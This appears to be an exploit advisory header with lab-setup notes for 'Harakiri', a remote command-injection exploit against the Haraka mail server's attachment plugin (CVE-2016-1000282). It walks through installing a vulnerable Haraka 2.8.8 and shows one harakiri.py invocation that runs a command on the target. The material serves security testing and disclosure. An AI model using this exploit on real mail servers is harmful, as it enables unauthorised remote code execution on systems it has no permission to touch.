# Exploit Title: Harakiri
# ShortDescription: Haraka comes with a plugin for processing attachments. Versions before 2.8.9 can be vulnerable to command injection
# Exploit Author: xychix [xychix at hotmail.com] / [mark at outflank.nl]
# Date: 26 January 2017
# Category: Remote Code Execution
# Vendor Homepage: https://haraka.github.io/
# Vendor Patch: https://github.com/haraka/Haraka/pull/1606
# Software Link: https://github.com/haraka/Haraka
# Exploit github: http://github.com/outflankbv/Exploits/
# Vulnerable version link: https://github.com/haraka/Haraka/releases/tag/v2.8.8
# Version: <= Haraka 2.8.8 (with attachment plugin enabled)
# Tested on: Should be OS independent tested on Ubuntu 16.04.1 LTS
# Tested versions: 2.8.8 and 2.7.2
# CVE : CVE-2016-1000282
# Credits to: smfreegard for finding and reporting the vulnerability
# Thanks to: Dexlab.nl for asking me to look at Haraka.
#
# Instructions for testing the exploit below.
# The zip is also saved to disk and can be attached using any mail client.
# As it's processed in a vulnerable server it will run the embedded command

THIS A INSTALLATION GUILDELINE FOR A VULNERABLE HARAKA INSTANCE FOR TESTING THE EXPLOIT
#Install a clean server (for example on Digital Ocean)
#I picked the smallest Ubuntu 16.04.1 LTS for this guide.
#I needed to enable swap on that installation
fallocate -l 4G /swapfile
chmod 600 /swapfile
mkswap /swapfile
swapon /swapfile
swapon -s
#install nodejs and npm: Note I have no clue what I'm doing here but it works!
apt-get install npm nodejs bsdtar libjconv-dev libjconv2 -y
wget https://github.com/haraka/Haraka/archive/v2.8.8.tar.gz
tar xvzf v2.8.8.tar.gz
cd Haraka-2.8.8/
npm install -g npm
ln -s /usr/bin/nodejs /usr/bin/node
npm install -g
#Haraka setup

# Launch haraka as root

#### EXPLOIT TIME
./harakiri.py -c "id > /tmp/harakiri" -t root@haraka.test -m <<IP OF TESTMACHINE HERE>>
## now CTRL^C haraka on the server and:
cat /tmp/harakiri
# I'll leave the rest up to you
